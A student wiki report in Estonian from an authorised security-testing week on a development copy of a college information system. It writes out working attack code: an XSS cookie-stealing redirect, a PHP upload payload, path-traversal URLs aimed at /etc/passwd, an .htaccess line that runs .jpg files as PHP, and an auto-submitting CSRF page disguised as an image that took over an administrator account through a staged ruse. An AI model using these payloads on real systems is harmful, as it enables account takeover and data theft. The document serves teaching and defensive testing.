<b>Sander:</b> Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

<b>Urmo:</b> Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.

<b>Taavi:</b>Intensiivõppenädal on väga hea võimalus lühikese ajaperioodiga omandada väga palju uusi ja huvitavaid teadmisi ning oskusi.Kindlasti soovitan kõigile intensiivõppenädalal osalemist.Ärge olge heidutatud ka inimesed kes arvavad, et neil on vähe või puudulikud oskused või teadmised, intensiivõppenädalal ei ole eeldatud, et te juba oskate asju vaid see nädal ongi õppimiseks. Tore kogemus ja kõik järgmine aasta osalema.

<b>Matis:</b> Olin veel viimase hetkeni täiesti kahe vahel, et kas minna intensiivõppe nädalale või mitte. Siiski otsustasin minna ja olen väga väga rahul et sedasi otsustasin. Sain väga palju uusi teadmisi erinevate testprogrammide ja -keskkondade kasutamise kohta. Hea kogemus ka tiimiga töötada, ülesandeid jagada ja üldisel koostööl. Soovitan kindlasti ka teistel tudengitel osaleda intensiivõppe nädalal. Väga hea võimalus reaalseid ülesandeid ja probleeme, mis võivad tulevikus ette tulla, läbi teha.

== Kasutatud materjalid ==
http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

== Tegijad ==
:Alo Konno A21
:Urmo Lihten A21
:Taavi Podžuks A22
:Matis Alliksoo A22
:Sander Saarm A22

== Juhendajad ==
Täname oma juhendajaid:
:Mart Mangus
:Margus Ernits
:Valter Kungla

Security team

2012-04-02T09:24:34Z

Mallikso: /* Arvamused intensiivõppe nädala kohta */

== 1. päev - Materjalidega tutvumine ==
Nädal algas kell 10.00 ruumis 314, kus tutvustati ülesandeid, mida on võimalik valida.

Meie valisime ülesandeks: "ÕIS arendusversiooni turvatestimine".

Meeskonna liikmeteks said Urmo Lihten, Taavi Podzuks, Matis Alliksoo, Alo Konno ja Sander Saarm.

Tiimi nimeks valisime „Security team“.

Pärat teema valimist andis juhendaja Margus Ernits meile juhtnöörid, kuidas oleks mõistlik tiimitööd teha, lisaks andis ta ka lingi mille pealt oleks kõige parem õppida:

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Jagasime teemad ära:

::A1: Injection - Urmo
::A2: Cross-Site Scripting (XSS) - Alo
::A3: Broken Authentication and Session Management - Sander
::A4: Insecure Direct Object References - Alo
::A5: Cross-Site Request Forgery (CSRF) - Taavi
::A6: Security Misconfiguration - Matis
::A7: Insecure Cryptographic Storage - Matis
::A8: Failure to Restrict URL Access - Urmo
::A9: Insufficient Transport Layer Protection - Taavi
::A10: Unvalidated Redirects and Forwards - Sander

Igaüks tegi selgeks enda kaks teemat ja päeva lõpuks kandsime need ükteisele ja kuulajatele ette:
Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Media:A9.pdf]] <br>
Taavi esitlus [[Media:A5.pdf]] <br>
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Media:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

===Security Team tegevusplaan===
1. Päev
:1.1 Tutvuda OWASP’iga.
:1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
:1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
:2.1 Esitada tiimi tegevusplaani juhendajale.
:2.2 Tutvuda turvariskidega natuke põhjalikumalt.
:2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
:2.4 Täiendada esimese päeva ettekannet.
3. Päev
:3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
:3.2 Saadud tulemuste dokumenteerimine.
4. Päev
:4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
:5.1 Tulemuste parandamine wiki’s.

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
=== Fireforce plugin Firefoxis ===
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.

Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".

Määrata ära tuli ka, et mitu päringut sekundis tehakse.

Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.

Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

=== Burpsuite v1.4 ===
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|250px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.

Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.

Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.

Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.

Ründe stiiliks määrata Pitchfork.
Seejärel mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.

Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.

Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.

Kahjuks ka see rünne ei toiminud ja ei suudetud parooli välja tuua.
Proovitud sai ka lühemate nimekirjadega aga edutult.

Peale teise programmi kasutamist jõudsime järeldustele, et Pitchfork meetod kasutab tegelikult meetodit, kus ta paaritab mõlema nimekirja kirja peale järjekorras samadel kohtadel sõnad, millest polnud kasu. Oleks pidanud kasutama ClusterBomb viisi aga meil jäi ajanappuse tõttu kasutamata.
Samuti Brute Force ründeviisist polnud meil tegelikult kasu ja ei aita eesmärki täita effektiivselt ÕISi arendustestimisel.

Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 sekundiks sisselogimine ära vastava teatega.

Lisaks Brute force programmidele ei tule sealt vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

=== CSRF - Cross-site request forgery ===

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine.

Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.

Võtsime lehe Source Code lahti

Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.

Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.

Current Password lahtri jätsime samaks.

Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".

Salvestasime faili ja käivitasime selle.

Tuli ette ainult lahter Current Passwordi ja Submit nupuga.

Panime sisse tolle hetke parooli ning saatsime teele päringu.

Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus.

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Reflected Cross Site Scripting (XSS) ===
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Faili uploadimine DVWA (Damn Vulnerable Web Application) näitel ===
==== Faili üleslaadimine: madal tase ====
[[File:DVWA_upload.png|250px|thumb|right|DVWA Upload]]

<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev - Dev-ÕIS'i turvatestimine==

=== Acunetix Web Vulnerability Scanner v. 8 ===
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus: [[File:Tn Acunetix1.PNG|250px|thumb|right|Seaded]]
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.

Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.

Antud programm võimaldab skännida:
:Cross-Site Scripting (XSS)
:SQL Injection (blind test)
:File inclusion
:Code Execution
:LDAP Injection
:Cross Frame Scripting
:SQL Injection (error msg. test)
:CRLF Injection
:Directory Travelsal
:XPath Injection
:URL Redirection
:Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur sai pärast 19h skännimist, kui oli tehtud ~9% skännimisest see peatada.
19h skännimise tulemus oli:
25 High alerts:[[File:Tn Acunetix.PNG|250px|thumb|right|XSS skänni tulemus]]
HTTP Parameter Pollution (24)
Weak Password (1)

251 Medium alerts:
Apache hhtpd Remote denial of service (2)
Application error message (244)
URL redirection (5)

6 Low alerts:
Apache mod_negotiation filename bruteforcing (2)
Login page password-guessing attack (1)
Sensitive page could be cached (3)

21 Informational alerts:
Broken links (18)
Password type input with autcomplete enabled (3)

Kuna esimest skänni ei saanud lõpule viia otsustasime teha ühe kategooria skänni.
Skänniks sai valitud Cross-Site Scripting (XSS)
See skänn kestis 3h ja selle jooksul saadeti 61461 reqesti
Skänn tuvastas 742 high alerti (Cross Site Scripting) ja 21 informational alerti[Broken link(18), Password type input with autocomplete enabled (3)].

Kuna tegu on automaatiseeritud programmiga ei tähenda, et sait tegelt nii ebaturvaline on, osad asjad mida programm nõrkuseks loeb on mingi põhjusega lihtsalt nii seatud.
Skänni tulemuste kohta on raske mingeid kindlaid järeldus teha, kuna igat viga tuleks analüüsida ja määrata ära reaalne oht saidile.
Märkida võiks ära, et iga veebilehe omanik, kes on mures turvalisuse pärast võiks kaaluda selle toote kasutamist.

=== Failure to Restrict URL Access ===
[[File:PDFHinneteleht.png|250px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed lisati sellele lingile url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>
Proovisime ligi saada ka teistes kohtades lehtedele, mille õigus polnud, aga kõik olid kaitstud url'id.

=== Subgraph Vega ===
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|250px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|250px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

=== Wapiti ===
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud kasutada HTTPS protokolli kasutada.

=== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga===
====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|250px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

====2. katse - ÕIS'i kasutaja parooli muutmine ====

[[File:Salasona_ois.PNG|250px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|250px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|250px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

===Nessuse algkäivitamine===
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Backtrack: w3af ===
[[File:Basic HTTP Auth.png|250px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|250px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|250px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

<b>Skänneerimine </b>
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
